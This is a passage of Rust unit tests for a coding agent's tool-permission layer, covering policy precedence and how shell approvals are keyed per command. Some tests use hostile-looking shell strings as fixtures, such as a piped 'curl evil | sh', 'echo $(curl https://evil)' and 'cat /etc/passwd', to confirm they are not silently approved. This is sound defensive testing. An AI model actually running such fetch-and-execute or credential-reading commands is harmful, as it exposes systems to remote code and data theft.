940    }
941
942    /// What `--yolo` *does* still do: collapse `Ask` to `Allow`.
943    #[test]
944    fn test_yolo_still_collapses_ask_to_allow() {
945        let mut launch = HashMap::new();
946        launch.insert("*".to_string(), ToolPolicy::Allow);
947        let mut global = HashMap::new();
948        global.insert("bash".to_string(), ToolPolicy::Ask);
949        let policy = resolve_policy(
950            "bash",
951            true,
952            &launch,
953            &HashMap::new(),
954            &HashMap::new(),
955            &global,
956        );
957        assert_eq!(policy, ToolPolicy::Allow);
958    }
959
960    #[test]
961    fn test_resolve_policy_falls_through_to_default() {
962        let policy = resolve_policy(
963            "bash",
964            true,
965            &HashMap::new(),
966            &HashMap::new(),
967            &HashMap::new(),
968            &HashMap::new(),
969        );
970        assert_eq!(policy, ToolPolicy::Ask);
971    }
972
973    // ─── Additional default_tool_policy tests ──────────────────────────────
974
975    #[test]
976    fn test_default_policy_unknown_tools() {
977        assert_eq!(default_tool_policy("unknown_tool", false), ToolPolicy::Ask);
978        assert_eq!(default_tool_policy("mcp_tool", false), ToolPolicy::Ask);
979        assert_eq!(default_tool_policy("custom_thing", true), ToolPolicy::Ask);
980    }
981
982    // ─── resolve_policy additional scenarios ───────────────────────────────
983
984    /// The agent layer is clamped the same way the stage layer is.
985    #[test]
986    fn test_resolve_policy_agent_cannot_loosen_global() {
987        let mut agent = HashMap::new();
988        agent.insert("bash".to_string(), "allow".to_string());
989        let mut global = HashMap::new();
990        global.insert("bash".to_string(), ToolPolicy::Deny);
991        let policy = resolve_policy(
992            "bash",
993            true,
994            &HashMap::new(),
995            &HashMap::new(),
996            &agent,
997            &global,
998        );
999        assert_eq!(policy, ToolPolicy::Deny);
1000    }
1001
1002    /// A global `ask` still bounds a blueprint's `allow` - the user gets their
1003    /// prompt rather than silent execution.
1004    #[test]
1005    fn test_resolve_policy_global_ask_bounds_blueprint_allow() {
1006        let mut agent = HashMap::new();
1007        agent.insert("write_file".to_string(), "allow".to_string());
1008        let mut global = HashMap::new();
1009        global.insert("write_file".to_string(), ToolPolicy::Ask);
1010        let policy = resolve_policy(
1011            "write_file",
1012            true,
1013            &HashMap::new(),
1014            &HashMap::new(),
1015            &agent,
1016            &global,
1017        );
1018        assert_eq!(policy, ToolPolicy::Ask);
1019    }
1020
1021    #[test]
1022    fn test_resolve_policy_launch_override_specific_beats_wildcard() {
1023        let mut launch = HashMap::new();
1024        launch.insert("bash".to_string(), ToolPolicy::Deny);
1025        launch.insert("*".to_string(), ToolPolicy::Allow);
1026        let policy = resolve_policy(
1027            "bash",
1028            true,
1029            &launch,
1030            &HashMap::new(),
1031            &HashMap::new(),
1032            &HashMap::new(),
1033        );
1034        // Specific tool match checked before wildcard
1035        assert_eq!(policy, ToolPolicy::Deny);
1036    }
1037
1038    #[test]
1039    fn test_resolve_policy_global_overrides_default() {
1040        let mut global = HashMap::new();
1041        global.insert("read_file".to_string(), ToolPolicy::Deny);
1042        let policy = resolve_policy(
1043            "read_file",
1044            true,
1045            &HashMap::new(),
1046            &HashMap::new(),
1047            &HashMap::new(),
1048            &global,
1049        );
1050        assert_eq!(policy, ToolPolicy::Deny);
1051    }
1052
1053    #[test]
1054    fn test_resolve_policy_stage_deny() {
1055        let mut stage = HashMap::new();
1056        stage.insert("bash".to_string(), "deny".to_string());
1057        let policy = resolve_policy(
1058            "bash",
1059            true,
1060            &HashMap::new(),
1061            &stage,
1062            &HashMap::new(),
1063            &HashMap::new(),
1064        );
1065        assert_eq!(policy, ToolPolicy::Deny);
1066    }
1067
1068    #[test]
1069    fn test_resolve_policy_stage_ask() {
1070        let mut stage = HashMap::new();
1071        stage.insert("read_file".to_string(), "ask".to_string());
1072        let policy = resolve_policy(
1073            "read_file",
1074            true,
1075            &HashMap::new(),
1076            &stage,
1077            &HashMap::new(),
1078            &HashMap::new(),
1079        );
1080        assert_eq!(policy, ToolPolicy::Ask);
1081    }
1082
1083    #[test]
1084    fn test_resolve_policy_unknown_stage_string_defaults_to_ask() {
1085        let mut stage = HashMap::new();
1086        stage.insert("bash".to_string(), "unknown_policy".to_string());
1087        let policy = resolve_policy(
1088            "bash",
1089            true,
1090            &HashMap::new(),
1091            &stage,
1092            &HashMap::new(),
1093            &HashMap::new(),
1094        );
1095        assert_eq!(policy, ToolPolicy::Ask);
1096    }
1097
1098    // ─── parse_policy_str ──────────────────────────────────────────────────
1099
1100    #[test]
1101    fn test_parse_policy_str_values() {
1102        assert_eq!(parse_policy_str("allow"), ToolPolicy::Allow);
1103        assert_eq!(parse_policy_str("Allow"), ToolPolicy::Allow);
1104        assert_eq!(parse_policy_str("ALLOW"), ToolPolicy::Allow);
1105        assert_eq!(parse_policy_str("deny"), ToolPolicy::Deny);
1106        assert_eq!(parse_policy_str("Deny"), ToolPolicy::Deny);
1107        assert_eq!(parse_policy_str("ask"), ToolPolicy::Ask);
1108        assert_eq!(parse_policy_str("Ask"), ToolPolicy::Ask);
1109        assert_eq!(parse_policy_str("anything_else"), ToolPolicy::Ask);
1110        assert_eq!(parse_policy_str(""), ToolPolicy::Ask);
1111    }
1112
1113    // ─── ToolRegistry construction ─────────────────────────────────────────
1114
1115    #[tokio::test]
1116    async fn test_tool_registry_build_no_mcp() {
1117        let config = Config::default();
1118        let workdir = std::env::current_dir().unwrap();
1119        let registry = ToolRegistry::build(workdir, &config).await;
1120
1121        // Should have built-in tools
1122        assert!(!registry.builtin_names.is_empty());
1123        // Should have no MCP tools
1124        assert!(registry.mcp_tool_defs.is_empty());
1125    }
1126
1127    #[tokio::test]
1128    async fn test_tool_registry_all_tool_defs() {
1129        let config = Config::default();
1130        let workdir = std::env::current_dir().unwrap();
1131        let registry = ToolRegistry::build(workdir, &config).await;
1132
1133        let all_defs = registry.all_tool_defs();
1134        assert!(!all_defs.is_empty());
1135
1136        // Should include known built-in tools
1137        let names: Vec<&str> = all_defs.iter().map(|t| t.name.as_str()).collect();
1138        assert!(names.contains(&"read_file"));
1139    }
1140
1141    #[tokio::test]
1142    async fn test_tool_registry_builtin_names_consistent() {
1143        let config = Config::default();
1144        let workdir = std::env::current_dir().unwrap();
1145        let registry = ToolRegistry::build(workdir, &config).await;
1146
1147        // builtin_names should come from builtins.names()
1148        let names_from_builtins: HashSet<String> = registry.builtins.names().into_iter().collect();
1149        assert_eq!(registry.builtin_names, names_from_builtins);
1150    }
1151
1152    // ─── resolve_policy full precedence chain ─────────────────────────────
1153
1154    // ─── session_approval_keys ────────────────────────────────────────────
1155
1156    fn shell_args(command: &str) -> serde_json::Value {
1157        serde_json::json!({ "command": command })
1158    }
1159
1160    fn keys(command: &str) -> Vec<String> {
1161        session_approval_keys("shell", &shell_args(command))
1162    }
1163
1164    /// The bug this replaces: one key for every shell call, so approving `ls`
1165    /// for the session approved `curl evil | sh` too.
1166    #[test]
1167    fn shell_approvals_are_keyed_on_the_command_prefix() {
1168        assert_eq!(keys("ls -la"), ["shell:ls"]);
1169        assert_eq!(keys("curl https://evil"), ["shell:curl https://evil"]);
1170        assert_ne!(keys("ls -la"), keys("curl https://evil"));
1171    }
1172
1173    /// A subcommand narrows the grant: approving `git diff` must not also
1174    /// approve `git push`.
1175    #[test]
1176    fn a_subcommand_is_part_of_the_prefix() {
1177        assert_eq!(keys("git diff HEAD~1"), ["shell:git diff"]);
1178        assert_ne!(keys("git diff HEAD~1"), keys("git push --force"));
1179    }
1180
1181    /// A flag does not narrow what the program is, so it is not part of the key -
1182    /// otherwise `ls -la` and `ls -l` would prompt separately for no benefit.
1183    #[test]
1184    fn flags_are_not_part_of_the_prefix() {
1185        assert_eq!(keys("cargo test --lib"), ["shell:cargo test"]);
1186        assert_eq!(keys("cargo test --lib"), keys("cargo test --doc"));
1187        assert_eq!(keys("ls -la"), keys("ls -l"));
1188    }
1189
1190    /// A compound line grants one key per command in it. The first version
1191    /// refused these outright, and in a real run *every* shell call a coding
1192    /// agent made was compound - so "allow for this session" never once applied
1193    /// and the same work was re-approved over and over.
1194    #[test]
1195    fn a_compound_line_grants_each_command_in_it() {
1196        assert_eq!(keys("rm -rf __pycache__; ls -la"), ["shell:ls", "shell:rm"]);
1197        assert_eq!(
1198            keys(r#"test -f test.py && echo "created" || echo "missing""#),
1199            ["shell:echo", "shell:test"],
1200            "quoted data must not split one program into two grants"
1201        );
1202        assert_eq!(
1203            keys("python3 test.py | od -c | tail -5"),
1204            ["shell:od", "shell:python3 test.py", "shell:tail"]
1205        );
1206    }
1207
1208    /// A quoted or variable-bearing argument is data, not a subcommand. Folding
1209    /// it into the key is what made the grant useless in practice: a run full of
1210    /// progress `echo`s re-prompted on every one.
1211    #[test]
1212    fn quoted_and_variable_arguments_are_not_part_of_the_key() {
1213        assert_eq!(keys(r#"echo "exit code: $?""#), ["shell:echo"]);
1214        assert_eq!(keys(r#"echo "done""#), keys(r#"echo "starting""#));
1215        // But a bare path still narrows: approving one script is not approving
1216        // every script.
1217        assert_eq!(keys("python3 test.py"), ["shell:python3 test.py"]);
1218        assert_ne!(keys("python3 test.py"), keys("python3 evil.py"));
1219    }
1220
1221    /// The security property has to survive the split: a grant for one program
1222    /// must never cover a line that also runs an ungranted one. Keys are what
1223    /// the caller intersects, so this is stated as "not a subset".
1224    #[test]
1225    fn approving_one_program_does_not_cover_a_line_that_runs_another() {
1226        let granted: std::collections::HashSet<String> = keys("ls -la").into_iter().collect();
1227        let attempted = keys("ls && curl https://evil");
1228        assert!(
1229            !attempted.iter().all(|k| granted.contains(k)),
1230            "approving `ls` must not cover `ls && curl evil`: {attempted:?}"
1231        );
1232        // And the reason is that `curl` is its own key.
1233        assert!(attempted.iter().any(|k| k.starts_with("shell:curl")));
1234    }
1235
1236    /// Command substitution runs a command *inside* another one, so it gets its
1237    /// own key. Otherwise `echo $(curl evil)` would grant only `echo`, and a
1238    /// later `echo $(curl evil)` would be covered by an earlier plain `echo`.
1239    #[test]
1240    fn a_substituted_command_gets_its_own_key() {
1241        let k = keys("echo $(curl https://evil)");
1242        assert!(k.iter().any(|k| k.starts_with("shell:curl")), "{k:?}");
1243        assert!(k.iter().any(|k| k == "shell:echo"), "{k:?}");
1244        // Nested substitution is lifted out too.
1245        let nested = keys("echo $(echo $(whoami))");
1246        assert!(nested.iter().any(|k| k == "shell:whoami"), "{nested:?}");
1247    }
1248
1249    /// A redirect names a file, not a program - `> /tmp/out` must not become a
1250    /// key, and must not stop the command before it from being one.
1251    #[test]
1252    fn a_redirect_target_is_not_a_command() {
1253        assert_eq!(
1254            keys("cat /etc/passwd > /tmp/out"),
1255            ["shell:cat /etc/passwd"]
1256        );
1257    }
1258
1259    /// Lines this cannot read as a list of commands are still refused outright:
1260    /// "approve once, ask again" is the safe direction when the shape is
1261    /// ambiguous.
1262    #[test]
1263    fn an_unreadable_line_is_not_session_grantable() {
1264        for command in [
1265            "echo `whoami`",     // backticks: nesting is ambiguous
1266            "echo $(unbalanced", // no closing paren
1267            "   ",               // no program at all
1268            "&& ||",             // separators only
1269        ] {
1270            assert!(
1271                keys(command).is_empty(),
1272                "{command:?} must not be session-grantable"
1273            );
1274        }
1275    }
1276
1277    /// A segment with no program in it yields no key, which is what makes a
1278    /// separators-only line ungrantable rather than silently granting nothing.
1279    #[test]
1280    fn a_segment_with_no_program_has_no_prefix() {
1281        assert_eq!(command_prefix("   "), None);
1282        assert_eq!(command_prefix(""), None);
1283        assert_eq!(command_prefix("ls"), Some("ls".to_string()));
1284    }
1285
1286    /// `bash` is an alias for `shell`, so it must get the same treatment rather
1287    /// than falling through to the by-name branch.
1288    #[test]
1289    fn the_bash_alias_is_scoped_like_shell() {
1290        assert_eq!(
1291            session_approval_keys("bash", &shell_args("ls -la")),
1292            ["shell:ls"]
1293        );
1294    }
1295
1296    /// Non-shell tools keep keying on the tool name: their arguments do not
1297    /// widen what the tool can reach the way a command string does.
1298    #[test]
1299    fn other_tools_are_keyed_by_name() {
1300        assert_eq!(
1301            session_approval_keys("read_file", &serde_json::json!({ "path": "a" })),
1302            ["read_file"]
1303        );
1304    }
1305
1306    /// A shell call with no `command` argument is malformed; it cannot be
1307    /// characterized, so it cannot be granted.
1308    #[test]
1309    fn a_shell_call_without_a_command_is_not_grantable() {
1310        assert!(session_approval_keys("shell", &serde_json::json!({})).is_empty());
1311    }
1312
1313    /// A launch flag outranks a stage's `ask`, which is the point of `--allow`.
1314    #[test]
1315    fn test_resolve_policy_launch_overrides_stage_ask() {
1316        let mut launch = HashMap::new();
1317        launch.insert("bash".to_string(), ToolPolicy::Allow);
1318        let mut stage = HashMap::new();
1319        stage.insert("bash".to_string(), "ask".to_string());
1320        let policy = resolve_policy(
1321            "bash",
1322            true,
1323            &launch,
1324            &stage,
1325            &HashMap::new(),
1326            &HashMap::new(),
1327        );
1328        assert_eq!(policy, ToolPolicy::Allow);
1329    }
1330
1331    /// It does not outrank a stage's `deny` - see
1332    /// `test_yolo_does_not_override_blueprint_deny` for the rationale.
1333    #[test]
1334    fn test_resolve_policy_launch_cannot_override_stage_deny() {
1335        let mut launch = HashMap::new();
1336        launch.insert("bash".to_string(), ToolPolicy::Allow);
1337        let mut stage = HashMap::new();
1338        stage.insert("bash".to_string(), "deny".to_string());
1339        let policy = resolve_policy(
1340            "bash",
1341            true,
1342            &launch,
1343            &stage,
1344            &HashMap::new(),
1345            &HashMap::new(),
1346        );
1347        assert_eq!(policy, ToolPolicy::Deny);
1348    }
1349
1350    #[test]
1351    fn test_resolve_policy_stage_overrides_agent() {
1352        let mut stage = HashMap::new();
1353        stage.insert("bash".to_string(), "deny".to_string());
1354        let mut agent = HashMap::new();
1355        agent.insert("bash".to_string(), "allow".to_string());
1356        let policy = resolve_policy(
1357            "bash",
1358            true,
1359            &HashMap::new(),
1360            &stage,
1361            &agent,
1362            &HashMap::new(),
1363        );
1364        assert_eq!(policy, ToolPolicy::Deny);
1365    }
1366
1367    #[test]
1368    fn test_resolve_policy_agent_overrides_global() {
1369        let mut agent = HashMap::new();
1370        agent.insert("write_file".to_string(), "deny".to_string());
1371        let mut global = HashMap::new();
1372        global.insert("write_file".to_string(), ToolPolicy::Allow);
1373        let policy = resolve_policy(
1374            "write_file",
1375            true,
1376            &HashMap::new(),
1377            &HashMap::new(),
1378            &agent,
1379            &global,
1380        );
1381        assert_eq!(policy, ToolPolicy::Deny);
1382    }
1383
1384    #[test]
1385    fn test_resolve_policy_wildcard_launch_with_missing_specific() {
1386        let mut launch = HashMap::new();
1387        launch.insert("*".to_string(), ToolPolicy::Allow);
1388        // unknown_tool has no specific override, should match wildcard
1389        let policy = resolve_policy(
1390            "unknown_tool",
1391            false,
1392            &launch,
1393            &HashMap::new(),
1394            &HashMap::new(),
1395            &HashMap::new(),
1396        );
1397        assert_eq!(policy, ToolPolicy::Allow);
1398    }
1399
1400    #[test]
1401    fn test_resolve_policy_mcp_tool_defaults_to_ask() {
1402        let policy = resolve_policy(
1403            "mcp_custom_tool",
1404            false,
1405            &HashMap::new(),
1406            &HashMap::new(),
1407            &HashMap::new(),
1408            &HashMap::new(),
1409        );
1410        assert_eq!(policy, ToolPolicy::Ask);
1411    }
1412
1413    #[test]
1414    fn test_resolve_policy_read_file_default_is_allow() {
1415        let policy = resolve_policy(
1416            "read_file",
1417            true,
1418            &HashMap::new(),
1419            &HashMap::new(),
1420            &HashMap::new(),
1421            &HashMap::new(),
1422        );
1423        assert_eq!(policy, ToolPolicy::Allow);
1424    }
1425
1426    #[test]
1427    fn test_resolve_policy_list_dir_default_is_allow() {
1428        let policy = resolve_policy(
1429            "list_dir",
1430            true,
1431            &HashMap::new(),
1432            &HashMap::new(),
1433            &HashMap::new(),
1434            &HashMap::new(),
1435        );
1436        assert_eq!(policy, ToolPolicy::Allow);
1437    }
1438
1439    #[test]
1440    fn test_resolve_policy_write_file_default_is_ask() {
1441        let policy = resolve_policy(
1442            "write_file",
1443            true,
1444            &HashMap::new(),
1445            &HashMap::new(),
1446            &HashMap::new(),
1447            &HashMap::new(),
1448        );
1449        assert_eq!(policy, ToolPolicy::Ask);
1450    }
1451
1452    #[test]
1453    fn test_resolve_policy_edit_file_default_is_ask() {
1454        let policy = resolve_policy(
1455            "edit_file",
1456            true,
1457            &HashMap::new(),
1458            &HashMap::new(),
1459            &HashMap::new(),
1460            &HashMap::new(),
1461        );
1462        assert_eq!(policy, ToolPolicy::Ask);
1463    }
1464
1465    #[tokio::test]
1466    async fn test_tool_registry_shutdown_no_panic() {
1467        let config = Config::default();
1468        let workdir = std::env::current_dir().unwrap();
1469        let registry = ToolRegistry::build(workdir, &config).await;
1470        registry.shutdown().await;
1471    }
1472
1473    #[tokio::test]
1474    async fn test_tool_registry_all_defs_includes_subagent() {
1475        let config = Config::default();
1476        let workdir = std::env::current_dir().unwrap();
1477        let registry = ToolRegistry::build(workdir, &config).await;
1478        let all_defs = registry.all_tool_defs();
1479        let names: Vec<&str> = all_defs.iter().map(|t| t.name.as_str()).collect();
1480        // Should include subagent tools
1481        assert!(names.contains(&"spawn_agent"));
1482    }
1483
1484    // ─── default_tool_policy for all known builtin tools ──────────────────
1485
1486    #[test]
1487    fn test_default_policy_search_is_ask() {
1488        assert_eq!(default_tool_policy("search", true), ToolPolicy::Ask);
1489    }
1490
1491    #[test]
1492    fn test_default_policy_glob_is_ask() {
1493        assert_eq!(default_tool_policy("glob", true), ToolPolicy::Ask);
1494    }
1495
1496    #[test]
1497    fn test_default_policy_http_request_is_ask() {
1498        assert_eq!(default_tool_policy("http_request", true), ToolPolicy::Ask);
1499    }
1500
1501    #[test]
1502    fn test_default_policy_read_file_not_builtin_still_allow() {
1503        // Even if is_builtin is false, the name-based lookup should still match
1504        assert_eq!(default_tool_policy("read_file", false), ToolPolicy::Allow);
1505    }
1506
1507    #[test]
1508    fn test_default_policy_list_dir_not_builtin_still_allow() {
1509        assert_eq!(default_tool_policy("list_dir", false), ToolPolicy::Allow);
1510    }
1511
1512    // ─── resolve_policy: agent-level deny ─────────────────────────────────
1513
1514    #[test]
1515    fn test_resolve_policy_agent_deny() {
1516        let mut agent = HashMap::new();
1517        agent.insert("read_file".to_string(), "deny".to_string());
1518        let policy = resolve_policy(
1519            "read_file",
1520            true,
1521            &HashMap::new(),
1522            &HashMap::new(),
1523            &agent,
1524            &HashMap::new(),
1525        );
1526        assert_eq!(policy, ToolPolicy::Deny);
1527    }
1528
1529    // ─── resolve_policy: unknown agent-level string defaults to ask ───────
1530
1531    #[test]
1532    fn test_resolve_policy_agent_unknown_string_defaults_to_ask() {
1533        let mut agent = HashMap::new();
1534        agent.insert("bash".to_string(), "foobar".to_string());
1535        let policy = resolve_policy(
1536            "bash",
1537            true,
1538            &HashMap::new(),
1539            &HashMap::new(),
1540            &agent,
1541            &HashMap::new(),
1542        );
1543        assert_eq!(policy, ToolPolicy::Ask);
1544    }
1545
1546    // ─── resolve_policy: global allows override default ───────────────────
1547
1548    #[test]
1549    fn test_resolve_policy_global_allow_overrides_default_ask() {
1550        let mut global = HashMap::new();
1551        global.insert("bash".to_string(), ToolPolicy::Allow);
1552        let policy = resolve_policy(
1553            "bash",
1554            true,
1555            &HashMap::new(),
1556            &HashMap::new(),
1557            &HashMap::new(),
1558            &global,
1559        );
1560        assert_eq!(policy, ToolPolicy::Allow);
1561    }
1562
1563    #[tokio::test]
1564    async fn test_tool_registry_all_defs_includes_all_subagent_tools() {
1565        let config = Config::default();
1566        let workdir = std::env::current_dir().unwrap();
1567        let registry = ToolRegistry::build(workdir, &config).await;
1568        let all_defs = registry.all_tool_defs();
1569        let names: Vec<&str> = all_defs.iter().map(|t| t.name.as_str()).collect();
1570
1571        for expected in &[
1572            "spawn_agent",
1573            "check_agent",
1574            "wait_for_agent",
1575            "send_to_agent",
1576            "kill_agent",
1577        ] {
1578            assert!(names.contains(expected));
1579        }
1580    }
1581
1582    // ─── ToolRegistry.builtin_names includes known builtins ───────────────
1583
1584    #[tokio::test]
1585    async fn test_tool_registry_builtin_names_has_expected_tools() {
1586        let config = Config::default();
1587        let workdir = std::env::current_dir().unwrap();
1588        let registry = ToolRegistry::build(workdir, &config).await;
1589
1590        // These should be in builtin_names
1591        for name in &["read_file", "list_dir"] {
1592            assert!(registry.builtin_names.contains(*name));
1593        }
1594
1595        // Subagent tools should NOT be in builtin_names
1596        assert!(!registry.builtin_names.contains("spawn_agent"));
1597    }
1598
1599    // ─── ToolRegistry.all_tool_defs does not duplicate ────────────────────
1600
1601    #[tokio::test]
1602    async fn test_tool_registry_all_defs_no_mcp_when_none_configured() {
1603        let config = Config::default();
1604        let workdir = std::env::current_dir().unwrap();
1605        let registry = ToolRegistry::build(workdir, &config).await;
1606        assert!(registry.mcp_tool_defs.is_empty());
1607
1608        // Total defs = builtins + subagent tools
1609        let all_defs = registry.all_tool_defs();
1610        let builtin_count = registry.builtins.tool_defs().len();
1611        let subagent_count = leviath_tools::BuiltinTools::subagent_tool_defs().len();
1612        assert_eq!(all_defs.len(), builtin_count + subagent_count);
1613    }
1614
1615    // ─── resolve_policy full chain: all four levels present ───────────────
1616
1617    /// With every level saying `deny`, nothing lifts it - not the stage, not the
1618    /// agent, not `--allow`. Asserting `Allow` here would mean a launch flag
1619    /// beats a unanimous deny.
1620    #[test]
1621    fn test_resolve_policy_full_chain_deny_is_terminal() {
1622        let mut launch = HashMap::new();
1623        launch.insert("bash".to_string(), ToolPolicy::Allow);
1624        let mut stage = HashMap::new();
1625        stage.insert("bash".to_string(), "deny".to_string());
1626        let mut agent = HashMap::new();
1627        agent.insert("bash".to_string(), "deny".to_string());
1628        let mut global = HashMap::new();
1629        global.insert("bash".to_string(), ToolPolicy::Deny);
1630
1631        let policy = resolve_policy("bash", true, &launch, &stage, &agent, &global);
1632        assert_eq!(policy, ToolPolicy::Deny);
1633    }
1634
1635    /// The full chain with nothing denying: stage `ask` is the tightest
1636    /// configured level, and the launch flag relaxes it.
1637    #[test]
1638    fn test_resolve_policy_full_chain_launch_relaxes_ask() {
1639        let mut launch = HashMap::new();
1640        launch.insert("bash".to_string(), ToolPolicy::Allow);
1641        let mut stage = HashMap::new();
1642        stage.insert("bash".to_string(), "ask".to_string());
1643        let mut agent = HashMap::new();
1644        agent.insert("bash".to_string(), "ask".to_string());
1645        let mut global = HashMap::new();
1646        global.insert("bash".to_string(), ToolPolicy::Ask);
1647
1648        let policy = resolve_policy("bash", true, &launch, &stage, &agent, &global);
1649        assert_eq!(policy, ToolPolicy::Allow);
1650    }
1651
1652    // ─── ToolRegistry build with failing MCP server ────────────────────────
1653    // Exercises the Err branch (lines 52-58): a bad command fails to connect.
1654
1655    #[tokio::test]
1656    async fn test_tool_registry_build_with_failing_mcp_server() {
1657        use leviath_mcp::MCPServerConfig;
1658
1659        let bad_server = MCPServerConfig::stdio(
1660            "bad-server",
1661            "/nonexistent/binary/that/does/not/exist",
1662            vec![],
1663        );
1664        let config = Config {
1665            mcp_servers: vec![bad_server],
1666            ..Config::default()
1667        };
1668
1669        let workdir = std::env::current_dir().unwrap();
1670        // Should not panic; the error branch is non-fatal (just a tracing::warn)
1671        let registry = ToolRegistry::build(workdir, &config).await;
1672
1673        // MCP tool defs should be empty because connection failed
1674        assert!(registry.mcp_tool_defs.is_empty());
1675        // Built-ins should still be present
1676        assert!(!registry.builtin_names.is_empty());
1677    }
1678
1679    // Register a blueprint, spawn a caller entity in the world, then call spawn.
1680    // Uses multi_thread flavor because exec_spawn internally calls blocking_write().
1681}